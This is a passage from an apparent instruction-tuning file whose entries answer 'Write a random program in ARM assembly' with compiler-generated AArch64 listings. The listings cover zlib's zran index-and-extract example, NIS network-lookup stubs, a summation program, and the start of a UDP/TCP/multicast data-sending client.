ldr x1, [sp, 72]
str x1, [x0, 8]
.L9:
ldr x0, [sp, 56]
ldr x2, [x0, 8]
ldr x0, [sp, 56]
ldr w0, [x0]
sxtw x1, w0
mov x0, x1
lsl x0, x0, 10
add x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 3
add x0, x2, x0
str x0, [sp, 72]
ldr x0, [sp, 72]
ldr w1, [sp, 52]
str w1, [x0, 16]
ldr x0, [sp, 72]
ldr x1, [sp, 40]
str x1, [x0, 8]
ldr x0, [sp, 72]
ldr x1, [sp, 32]
str x1, [x0]
ldr w0, [sp, 48]
cmp w0, 0
beq .L11
ldr x0, [sp, 72]
add x3, x0, 20
ldr w0, [sp, 48]
mov x1, 32768
sub x0, x1, x0
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 48]
mov x2, x1
mov x1, x0
mov x0, x3
bl memcpy
.L11:
ldr w1, [sp, 48]
mov w0, 32767
cmp w1, w0
bhi .L12
ldr x0, [sp, 72]
add x1, x0, 20
ldr w0, [sp, 48]
add x3, x1, x0
mov w1, 32768
ldr w0, [sp, 48]
sub w0, w1, w0
uxtw x0, w0
mov x2, x0
ldr x1, [sp, 24]
mov x0, x3
bl memcpy
.L12:
ldr x0, [sp, 56]
ldr w0, [x0]
add w1, w0, 1
ldr x0, [sp, 56]
str w1, [x0]
ldr x0, [sp, 56]
.L7:
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size addpoint, .-addpoint
.section .rodata
.align 3
.LC0:
.string "1.2.11"
.text
.align 2
.type build_index, %function
build_index:
.LFB8:
.cfi_startproc
mov x12, 49360
sub sp, sp, x12
.cfi_def_cfa_offset 49360
stp x29, x30, [sp]
.cfi_offset 29, -49360
.cfi_offset 30, -49352
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x1, sp, 49152
ldr x2, [x0]
str x2, [x1, 200]
mov x2, 0
str xzr, [sp, 152]
str xzr, [sp, 160]
str xzr, [sp, 168]
str wzr, [sp, 96]
str xzr, [sp, 88]
add x4, sp, 88
mov w3, 112
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, 47
mov x0, x4
bl inflateInit2_
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
beq .L14
ldr w0, [sp, 52]
b .L31
.L14:
str xzr, [sp, 72]
ldr x0, [sp, 72]
str x0, [sp, 64]
ldr x0, [sp, 64]
str x0, [sp, 56]
str xzr, [sp, 80]
str wzr, [sp, 120]
.L29:
add x0, sp, 200
ldr x3, [sp, 40]
mov x2, 16384
mov x1, 1
bl fread
str w0, [sp, 96]
ldr x0, [sp, 40]
bl ferror
cmp w0, 0
beq .L16
mov w0, -1
str w0, [sp, 52]
b .L17
.L16:
ldr w0, [sp, 96]
cmp w0, 0
bne .L18
mov w0, -3
str w0, [sp, 52]
b .L17
.L18:
add x0, sp, 200
str x0, [sp, 88]
.L28:
ldr w0, [sp, 120]
cmp w0, 0
bne .L19
mov w0, 32768
str w0, [sp, 120]
add x0, sp, 16384
add x0, x0, 200
str x0, [sp, 112]
.L19:
ldr w0, [sp, 96]
uxtw x0, w0
ldr x1, [sp, 56]
add x0, x1, x0
str x0, [sp, 56]
ldr w0, [sp, 120]
uxtw x0, w0
ldr x1, [sp, 64]
add x0, x1, x0
str x0, [sp, 64]
add x0, sp, 88
mov w1, 5
bl inflate
str w0, [sp, 52]
ldr w0, [sp, 96]
uxtw x0, w0
ldr x1, [sp, 56]
sub x0, x1, x0
str x0, [sp, 56]
ldr w0, [sp, 120]
uxtw x0, w0
ldr x1, [sp, 64]
sub x0, x1, x0
str x0, [sp, 64]
ldr w0, [sp, 52]
cmp w0, 2
bne .L20
mov w0, -3
str w0, [sp, 52]
.L20:
ldr w0, [sp, 52]
cmn w0, #4
beq .L33
ldr w0, [sp, 52]
cmn w0, #3
beq .L33
ldr w0, [sp, 52]
cmp w0, 1
beq .L34
ldr w0, [sp, 176]
and w0, w0, 128
cmp w0, 0
beq .L25
ldr w0, [sp, 176]
and w0, w0, 64
cmp w0, 0
bne .L25
ldr x0, [sp, 64]
cmp x0, 0
beq .L26
ldr x1, [sp, 64]
ldr x0, [sp, 72]
sub x0, x1, x0
ldr x1, [sp, 32]
cmp x1, x0
bge .L25
.L26:
ldr w0, [sp, 176]
and w0, w0, 7
ldr w1, [sp, 120]
add x2, sp, 16384
add x2, x2, 200
mov x5, x2
mov w4, w1
ldr x3, [sp, 64]
ldr x2, [sp, 56]
mov w1, w0
ldr x0, [sp, 80]
bl addpoint
str x0, [sp, 80]
ldr x0, [sp, 80]
cmp x0, 0
bne .L27
mov w0, -4
str w0, [sp, 52]
b .L17
.L27:
ldr x0, [sp, 64]
str x0, [sp, 72]
.L25:
ldr w0, [sp, 96]
cmp w0, 0
bne .L28
b .L24
.L34:
nop
.L24:
ldr w0, [sp, 52]
cmp w0, 1
bne .L29
add x0, sp, 88
bl inflateEnd
ldr x0, [sp, 80]
ldr x2, [x0, 8]
ldr x0, [sp, 80]
ldr w0, [x0]
sxtw x1, w0
mov x0, x1
lsl x0, x0, 10
add x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 3
mov x1, x0
mov x0, x2
bl realloc
mov x1, x0
ldr x0, [sp, 80]
str x1, [x0, 8]
ldr x0, [sp, 80]
ldr w1, [x0]
ldr x0, [sp, 80]
str w1, [x0, 4]
ldr x0, [sp, 24]
ldr x1, [sp, 80]
str x1, [x0]
ldr x0, [sp, 80]
ldr w0, [x0, 4]
b .L31
.L33:
nop
.L17:
add x0, sp, 88
bl inflateEnd
ldr x0, [sp, 80]
cmp x0, 0
beq .L30
ldr x0, [sp, 80]
bl free_index
.L30:
ldr w0, [sp, 52]
.L31:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x3, sp, 49152
ldr x4, [x3, 200]
ldr x2, [x0]
subs x4, x4, x2
mov x2, 0
beq .L32
bl __stack_chk_fail
.L32:
mov w0, w1
ldp x29, x30, [sp]
mov x12, 49360
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size build_index, .-build_index
.align 2
.type extract, %function
extract:
.LFB9:
.cfi_startproc
mov x12, 49360
sub sp, sp, x12
.cfi_def_cfa_offset 49360
stp x29, x30, [sp]
.cfi_offset 29, -49360
.cfi_offset 30, -49352
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str w4, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x1, sp, 49152
ldr x2, [x0]
str x2, [x1, 200]
mov x2, 0
ldr w0, [sp, 28]
cmp w0, 0
bge .L36
mov w0, 0
b .L67
.L36:
ldr x0, [sp, 48]
ldr x0, [x0, 8]
str x0, [sp, 80]
ldr x0, [sp, 48]
ldr w0, [x0]
str w0, [sp, 72]
b .L38
.L40:
ldr x1, [sp, 80]
mov x0, 32792
add x0, x1, x0
str x0, [sp, 80]
.L38:
ldr w0, [sp, 72]
sub w0, w0, #1
str w0, [sp, 72]
ldr w0, [sp, 72]
cmp w0, 0
beq .L39
ldr x1, [sp, 80]
mov x0, 32792
add x0, x1, x0
ldr x0, [x0]
ldr x1, [sp, 40]
cmp x1, x0
bge .L40
.L39:
str xzr, [sp, 152]
str xzr, [sp, 160]
str xzr, [sp, 168]
str wzr, [sp, 96]
str xzr, [sp, 88]
add x4, sp, 88
mov w3, 112
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -15
mov x0, x4
bl inflateInit2_
str w0, [sp, 72]
ldr w0, [sp, 72]
cmp w0, 0
beq .L41
ldr w0, [sp, 72]
b .L67
.L41:
ldr x0, [sp, 80]
ldr x1, [x0, 8]
ldr x0, [sp, 80]
ldr w0, [x0, 16]
cmp w0, 0
beq .L42
mov x0, 1
b .L43
.L42:
mov x0, 0
.L43:
sub x0, x1, x0
mov w2, 0
mov x1, x0
ldr x0, [sp, 56]
bl fseeko
str w0, [sp, 72]
ldr w0, [sp, 72]
cmn w0, #1
beq .L69
ldr x0, [sp, 80]
ldr w0, [x0, 16]
cmp w0, 0
beq .L46
ldr x0, [sp, 56]
bl getc
str w0, [sp, 72]
ldr w0, [sp, 72]
cmn w0, #1
bne .L47
ldr x0, [sp, 56]
bl ferror
cmp w0, 0
beq .L48
mov w0, -1
b .L49
.L48:
mov w0, -3
.L49:
str w0, [sp, 72]
b .L45
.L47:
ldr x0, [sp, 80]
ldr w3, [x0, 16]
ldr x0, [sp, 80]
ldr w0, [x0, 16]
mov w1, 8
sub w0, w1, w0
ldr w1, [sp, 72]
asr w1, w1, w0
add x0, sp, 88
mov w2, w1
mov w1, w3
bl inflatePrime
.L46:
ldr x0, [sp, 80]
add x1, x0, 20
add x0, sp, 88
mov w2, 32768
bl inflateSetDictionary
ldr x0, [sp, 80]
ldr x0, [x0]
ldr x1, [sp, 40]
sub x0, x1, x0
str x0, [sp, 40]
str wzr, [sp, 96]
mov w0, 1
str w0, [sp, 76]
.L64:
ldr x0, [sp, 40]
cmp x0, 0
bne .L50
ldr w0, [sp, 76]
cmp w0, 0
beq .L50
ldr w0, [sp, 28]
str w0, [sp, 120]
ldr x0, [sp, 32]
str x0, [sp, 112]
str wzr, [sp, 76]
.L50:
ldr x0, [sp, 40]
cmp x0, 32768
ble .L51
mov w0, 32768
str w0, [sp, 120]
add x0, sp, 16384
add x0, x0, 200
str x0, [sp, 112]
ldr x0, [sp, 40]
sub x0, x0, #32768
str x0, [sp, 40]
b .L61
.L51:
ldr x0, [sp, 40]
cmp x0, 0
beq .L61
ldr x0, [sp, 40]
str w0, [sp, 120]
add x0, sp, 16384
add x0, x0, 200
str x0, [sp, 112]
str xzr, [sp, 40]
.L61:
ldr w0, [sp, 96]
cmp w0, 0
bne .L53
add x0, sp, 200
ldr x3, [sp, 56]
mov x2, 16384
mov x1, 1
bl fread
str w0, [sp, 96]
ldr x0, [sp, 56]
bl ferror
cmp w0, 0
beq .L54
mov w0, -1
str w0, [sp, 72]
b .L45
.L54:
ldr w0, [sp, 96]
cmp w0, 0
bne .L55
mov w0, -3
str w0, [sp, 72]
b .L45
.L55:
add x0, sp, 200
str x0, [sp, 88]
.L53:
add x0, sp, 88
mov w1, 0
bl inflate
str w0, [sp, 72]
ldr w0, [sp, 72]
cmp w0, 2
bne .L56
mov w0, -3
str w0, [sp, 72]
.L56:
ldr w0, [sp, 72]
cmn w0, #4
beq .L70
ldr w0, [sp, 72]
cmn w0, #3
beq .L70
ldr w0, [sp, 72]
cmp w0, 1
beq .L71
ldr w0, [sp, 120]
cmp w0, 0
bne .L61
b .L60
.L71:
nop
.L60:
ldr w0, [sp, 72]
cmp w0, 1
beq .L72
ldr w0, [sp, 76]
cmp w0, 0
bne .L64
b .L63
.L72:
nop
.L63:
ldr w0, [sp, 76]
cmp w0, 0
bne .L65
ldr w1, [sp, 28]
ldr w0, [sp, 120]
sub w0, w1, w0
b .L66
.L65:
mov w0, 0
.L66:
str w0, [sp, 72]
b .L45
.L69:
nop
b .L45
.L70:
nop
.L45:
add x0, sp, 88
bl inflateEnd
ldr w0, [sp, 72]
.L67:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x3, sp, 49152
ldr x4, [x3, 200]
ldr x2, [x0]
subs x4, x4, x2
mov x2, 0
beq .L68
bl __stack_chk_fail
.L68:
mov w0, w1
ldp x29, x30, [sp]
mov x12, 49360
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size extract, .-extract
.section .rodata
.align 3
.LC1:
.string "usage: zran file.gz\n"
.align 3
.LC2:
.string "rb"
.align 3
.LC3:
.string "zran: could not open %s for reading\n"
.align 3
.LC4:
.string "zran: out of memory\n"
.align 3
.LC5:
.string "zran: compressed data error in %s\n"
.align 3
.LC6:
.string "zran: read error on %s\n"
.align 3
.LC7:
.string "zran: error %d while building index\n"
.align 3
.LC8:
.string "zran: built index with %d access points\n"
.align 3
.LC9:
.string "out of memory"
.align 3
.LC10:
.string "input corrupted"
.align 3
.LC11:
.string "zran: extraction failed: %s error\n"
.align 3
.LC12:
.string "zran: extracted %d bytes at %llu\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB10:
.cfi_startproc
mov x12, 16464
sub sp, sp, x12
.cfi_def_cfa_offset 16464
stp x29, x30, [sp]
.cfi_offset 29, -16464
.cfi_offset 30, -16456
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 16456]
mov x1, 0
str xzr, [sp, 48]
ldr w0, [sp, 28]
cmp w0, 2
beq .L74
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 20
mov x1, 1
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl fwrite
mov w0, 1
b .L87
.L74:
ldr x0, [sp, 16]
add x0, x0, 8
ldr x2, [x0]
adrp x0, .LC2
add x1, x0, :lo12:.LC2
mov x0, x2
bl fopen
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
bne .L76
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
mov x2, x0
adrp x0, .LC3
add x1, x0, :lo12:.LC3
mov x0, x3
bl fprintf
mov w0, 1
b .L87
.L76:
add x0, sp, 48
mov x2, x0
mov x1, 1048576
ldr x0, [sp, 56]
bl build_index
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bge .L77
ldr x0, [sp, 56]
bl fclose
ldr w0, [sp, 44]
cmn w0, #1
beq .L78
ldr w0, [sp, 44]
cmp w0, 0
bge .L79
ldr w0, [sp, 44]
cmn w0, #4
beq .L80
ldr w0, [sp, 44]
cmn w0, #3
beq .L81
b .L79
.L80:
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 20
mov x1, 1
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl fwrite
b .L82
.L81:
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
mov x2, x0
adrp x0, .LC5
add x1, x0, :lo12:.LC5
mov x0, x3
bl fprintf
b .L82
.L78:
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr x0, [sp, 16]
add x0, x0, 8
ldr x0, [x0]
mov x2, x0
adrp x0, .LC6
add x1, x0, :lo12:.LC6
mov x0, x3
bl fprintf
b .L82
.L79:
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr w2, [sp, 44]
adrp x0, .LC7
add x1, x0, :lo12:.LC7
mov x0, x3
bl fprintf
.L82:
mov w0, 1
b .L87
.L77:
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr w2, [sp, 44]
adrp x0, .LC8
add x1, x0, :lo12:.LC8
mov x0, x3
bl fprintf
ldr x0, [sp, 48]
ldr x2, [x0, 8]
ldr x0, [sp, 48]
ldr w0, [x0]
sxtw x1, w0
mov x0, x1
lsl x0, x0, 10
add x0, x0, x1
lsl x0, x0, 2
sub x0, x0, x1
lsl x0, x0, 3
mov x1, x0
mov x0, -32792
add x0, x1, x0
add x0, x2, x0
ldr x0, [x0]
lsl x0, x0, 1
mov x1, 6148914691236517205
movk x1, 0x5556, lsl 0
smulh x1, x0, x1
asr x0, x0, 63
sub x0, x1, x0
str x0, [sp, 64]
ldr x0, [sp, 48]
add x1, sp, 72
mov w4, 16384
mov x3, x1
ldr x2, [sp, 64]
mov x1, x0
ldr x0, [sp, 56]
bl extract
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bge .L83
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr w0, [sp, 44]
cmn w0, #4
bne .L84
adrp x0, .LC9
add x0, x0, :lo12:.LC9
b .L85
.L84:
adrp x0, .LC10
add x0, x0, :lo12:.LC10
.L85:
mov x2, x0
adrp x0, .LC11
add x1, x0, :lo12:.LC11
mov x0, x3
bl fprintf
b .L86
.L83:
ldrsw x1, [sp, 44]
adrp x0, :got:stdout
ldr x0, [x0, #:got_lo12:stdout]
ldr x2, [x0]
add x0, sp, 72
mov x3, x2
mov x2, x1
mov x1, 1
bl fwrite
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x4, [x0]
ldr x3, [sp, 64]
ldr w2, [sp, 44]
adrp x0, .LC12
add x1, x0, :lo12:.LC12
mov x0, x4
bl fprintf
.L86:
ldr x0, [sp, 48]
bl free_index
ldr x0, [sp, 56]
bl fclose
mov w0, 0
.L87:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 16456]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L88
bl __stack_chk_fail
.L88:
mov w0, w1
ldp x29, x30, [sp]
mov x12, 16464
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.type _getnetbynis, %function
_getnetbynis:
.LFB6:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
mov x0, 0
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size _getnetbynis, .-_getnetbynis
.section .rodata
.align 3
.LC0:
.string "networks.byname"
.text
.align 2
.global _getnetbynisname
.type _getnetbynisname, %function
_getnetbynisname:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
mov w2, 2
adrp x0, .LC0
add x1, x0, :lo12:.LC0
ldr x0, [sp, 24]
bl _getnetbynis
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size _getnetbynisname, .-_getnetbynisname
.section .rodata
.align 3
.LC1:
.string "%u"
.align 3
.LC2:
.string "%u.%u"
.align 3
.LC3:
.string "%u.%u.%u"
.align 3
.LC4:
.string "%u.%u.%u.%u"
.align 3
.LC5:
.string ".0"
.align 3
.LC6:
.string "networks.byaddr"
.text
.align 2
.global _getnetbynisaddr
.type _getnetbynisaddr, %function
_getnetbynisaddr:
.LFB8:
.cfi_startproc
sub sp, sp, #1120
.cfi_def_cfa_offset 1120
stp x29, x30, [sp]
.cfi_offset 29, -1120
.cfi_offset 30, -1112
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1112]
mov x1, 0
ldr w0, [sp, 20]
cmp w0, 2
beq .L6
bl __errno_location
mov x1, x0
mov w0, 97
str w0, [x1]
mov x0, 0
b .L17
.L6:
mov w0, 4
str w0, [sp, 36]
ldr x0, [sp, 24]
str x0, [sp, 48]
b .L8
.L9:
ldr x0, [sp, 48]
mov w1, w0
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
and w2, w1, 255
ldrsw x0, [sp, 36]
lsl x0, x0, 2
add x1, sp, 64
str w2, [x1, x0]
ldr x0, [sp, 48]
lsr x0, x0, 8
str x0, [sp, 48]
.L8:
ldr x0, [sp, 48]
cmp x0, 0
bne .L9
ldr w0, [sp, 36]
cmp w0, 3
beq .L10
ldr w0, [sp, 36]
cmp w0, 3
bgt .L11
ldr w0, [sp, 36]
cmp w0, 2
beq .L12
ldr w0, [sp, 36]
cmp w0, 2
bgt .L11
ldr w0, [sp, 36]
cmp w0, 0
beq .L13
ldr w0, [sp, 36]
cmp w0, 1
beq .L14
b .L11
.L10:
ldr w0, [sp, 76]
add x3, sp, 80
mov w2, w0
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov x0, x3
bl sprintf
b .L11
.L12:
ldr w0, [sp, 72]
ldr w1, [sp, 76]
add x4, sp, 80
mov w3, w1
mov w2, w0
adrp x0, .LC2
add x1, x0, :lo12:.LC2
mov x0, x4
bl sprintf
b .L11
.L14:
ldr w0, [sp, 68]
ldr w1, [sp, 72]
ldr w2, [sp, 76]
add x5, sp, 80
mov w4, w2
mov w3, w1
mov w2, w0
adrp x0, .LC3
add x1, x0, :lo12:.LC3
mov x0, x5
bl sprintf
b .L11
.L13:
ldr w0, [sp, 64]
ldr w1, [sp, 68]
ldr w2, [sp, 72]
ldr w3, [sp, 76]
add x6, sp, 80
mov w5, w3
mov w4, w2
mov w3, w1
mov w2, w0
adrp x0, .LC4
add x1, x0, :lo12:.LC4
mov x0, x6
bl sprintf
nop
.L11:
add x0, sp, 80
str x0, [sp, 56]
ldr x0, [sp, 56]
bl strlen
sub x0, x0, #2
ldr x1, [sp, 56]
add x0, x1, x0
str x0, [sp, 40]
b .L15
.L16:
ldr x0, [sp, 40]
strb wzr, [x0]
ldr x0, [sp, 56]
bl strlen
sub x0, x0, #2
ldr x1, [sp, 56]
add x0, x1, x0
str x0, [sp, 40]
.L15:
adrp x0, .LC5
add x1, x0, :lo12:.LC5
ldr x0, [sp, 40]
bl strcmp
cmp w0, 0
beq .L16
ldr w2, [sp, 20]
adrp x0, .LC6
add x1, x0, :lo12:.LC6
ldr x0, [sp, 56]
bl _getnetbynis
.L17:
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 1112]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L18
bl __stack_chk_fail
.L18:
mov x0, x1
ldp x29, x30, [sp]
add sp, sp, 1120
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size _getnetbynisaddr, .-_getnetbynisaddr
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Enter the limit of sum of first natural number"
.align 3
.LC1:
.string "%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x0, sp, 28
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
str wzr, [sp, 32]
mov w0, 1
str w0, [sp, 36]
b .L2
.L3:
ldr w1, [sp, 32]
ldr w0, [sp, 36]
add w0, w1, w0
str w0, [sp, 32]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L2:
ldr w0, [sp, 28]
ldr w1, [sp, 36]
cmp w1, w0
ble .L3
ldr w1, [sp, 32]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global protocol
.bss
.align 3
.type protocol, %object
.size protocol, 8
protocol:
.zero 8
.section .rodata
.align 3
.LC0:
.string "usage :<server-hostname> <trace-hostName> <data1> ... <dataN> "
.align 3
.LC1:
.string "%s: unknown host passed'%s' \n"
.align 3
.LC2:
.string "%s: sending data to '%s' (IP : %s) \n"
.align 3
.LC3:
.string "%s: Error: cannot open UDP socket \n"
.align 3
.LC4:
.string "%s: Error: cannot open TCP socket \n"
.align 3
.LC5:
.string "%s: Error: cannot bind UDP port\n"
.align 3
.LC6:
.string "%s: Error: cannot bind TCP port\n"
.align 3
.LC7:
.string "Error: cannot connect tp TCP Server "
.align 3
.LC8:
.string "%s : Hostname [%s] passed [%s] is not a multicast server\n"
.align 3
.LC9:
.string "The multiCast Server will not be started "
.align 3
.LC10:
.string "Error: %s : cannot open mulitCast socket\n"
.align 3
.LC11:
.string "Error: binding multiCast socket"
.align 3
.LC12:
.string "Error: %s : cannot set ttl = %d \n"
.align 3
.LC13:
.string "%s : sending data on multicast group '%s' (%s)\n"
.align 3
.LC14:
.string "%s: cannot send UDP data %d \n"
.align 3
.LC15:
.string "%s: UDP data%u sent (%s)\n"
.align 3
.LC16:
.string "%s UDP Socket not open for send \n"
.align 3
.LC17:
.string "cannot send TCP data "
.align 3
.LC18:
.string "%s: TCP data%u sent (%s)\n"
.align 3
.LC19:
.string "%s TCP Socket not open for send \n"
.align 3
.LC20:
.string "%s : cannot send multiCast data %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
sub sp, sp, #960
.cfi_def_cfa_offset 960
stp x29, x30, [sp]
.cfi_offset 29, -960
.cfi_offset 30, -952
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -944
str w0, [sp, 44]
str x1, [sp, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 952]
mov x1, 0
mov w0, 1
strb w0, [sp, 59]
mov w0, 1
strb w0, [sp, 58]
mov w0, -1
str w0, [sp, 60]
ldr w0, [sp, 44]
cmp w0, 3
bgt .L2
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
mov w0, 1
bl exit
.L2:
ldr x0, [sp, 32]
ldr x1, [x0]
add x0, sp, 440
mov x2, 256
bl strncpy
ldr x0, [sp, 32]
add x0, x0, 8
ldr x1, [x0]
add x0, sp, 184
mov x2, 256
bl strncpy
ldr x0, [sp, 32]
add x0, x0, 16
ldr x1, [x0]
add x0, sp, 696
mov x2, 256
bl strncpy
add x0, sp, 184
bl gethostbyname
str x0, [sp, 80]
ldr x0, [sp, 80]
cmp x0, 0
bne .L3
add x1, sp, 184
add x0, sp, 440
mov x2, x1
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 1
bl exit
.L3:
ldr x0, [sp, 80]
ldr x19, [x0]
ldr x0, [sp, 80]
ldr x0, [x0, 24]
ldr x0, [x0]
ldr w0, [x0]
bl inet_ntoa
mov x1, x0
add x0, sp, 440
mov x3, x1
mov x2, x19
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr x0, [sp, 80]
ldr w0, [x0, 16]
and w0, w0, 65535
strh w0, [sp, 104]
ldr x0, [sp, 80]
ldr x0, [x0, 24]
ldr x1, [x0]
ldr x0, [sp, 80]
ldr w0, [x0, 20]
sxtw x2, w0
add x0, sp, 104
add x0, x0, 4
bl memcpy
mov w0, 10000
bl htons
and w0, w0, 65535
strh w0, [sp, 106]
ldr x0, [sp, 80]
ldr w0, [x0, 16]
and w0, w0, 65535
strh w0, [sp, 136]
ldr x0, [sp, 80]
ldr x0, [x0, 24]
ldr x1, [x0]
ldr x0, [sp, 80]
ldr w0, [x0, 20]
sxtw x2, w0
add x0, sp, 136
add x0, x0, 4
bl memcpy
mov w0, 10001
bl htons
and w0, w0, 65535
strh w0, [sp, 138]
ldr x0, [sp, 80]
ldr w0, [x0, 16]
and w0, w0, 65535
strh w0, [sp, 168]
ldr x0, [sp, 80]
ldr x0, [x0, 24]
ldr x1, [x0]
ldr x0, [sp, 80]
ldr w0, [x0, 20]
sxtw x2, w0
add x0, sp, 168
add x0, x0, 4
bl memcpy
mov w0, 10002
bl htons
and w0, w0, 65535
strh w0, [sp, 170]
mov w2, 0
mov w1, 2
mov w0, 2
bl socket
str w0, [sp, 68]
mov w2, 0
mov w1, 1
mov w0, 2
bl socket
str w0, [sp, 72]
ldr w0, [sp, 68]
cmp w0, 0
bge .L4
add x0, sp, 440
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
.L4:
ldr w0, [sp, 72]
cmp w0, 0
bge .L5
add x0, sp, 440
mov x1, x0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
.L5:
mov w0, 2
strh w0, [sp, 88]
mov w0, 0
bl htonl
str w0, [sp, 92]
mov w0, 0
bl htons
and w0, w0, 65535
strh w0, [sp, 90]
mov w0, 2
strh w0, [sp, 120]
mov w0, 0
bl htonl
str w0, [sp, 124]
mov w0, 0
bl htons
and w0, w0, 65535
strh w0, [sp, 122]
ldr w0, [sp, 68]
cmp w0, 0
ble .L6
add x0, sp, 88
mov w2, 16
mov x1, x0
ldr w0, [sp, 68]
bl bind
str w0, [sp, 76]
ldr w0, [sp, 76]
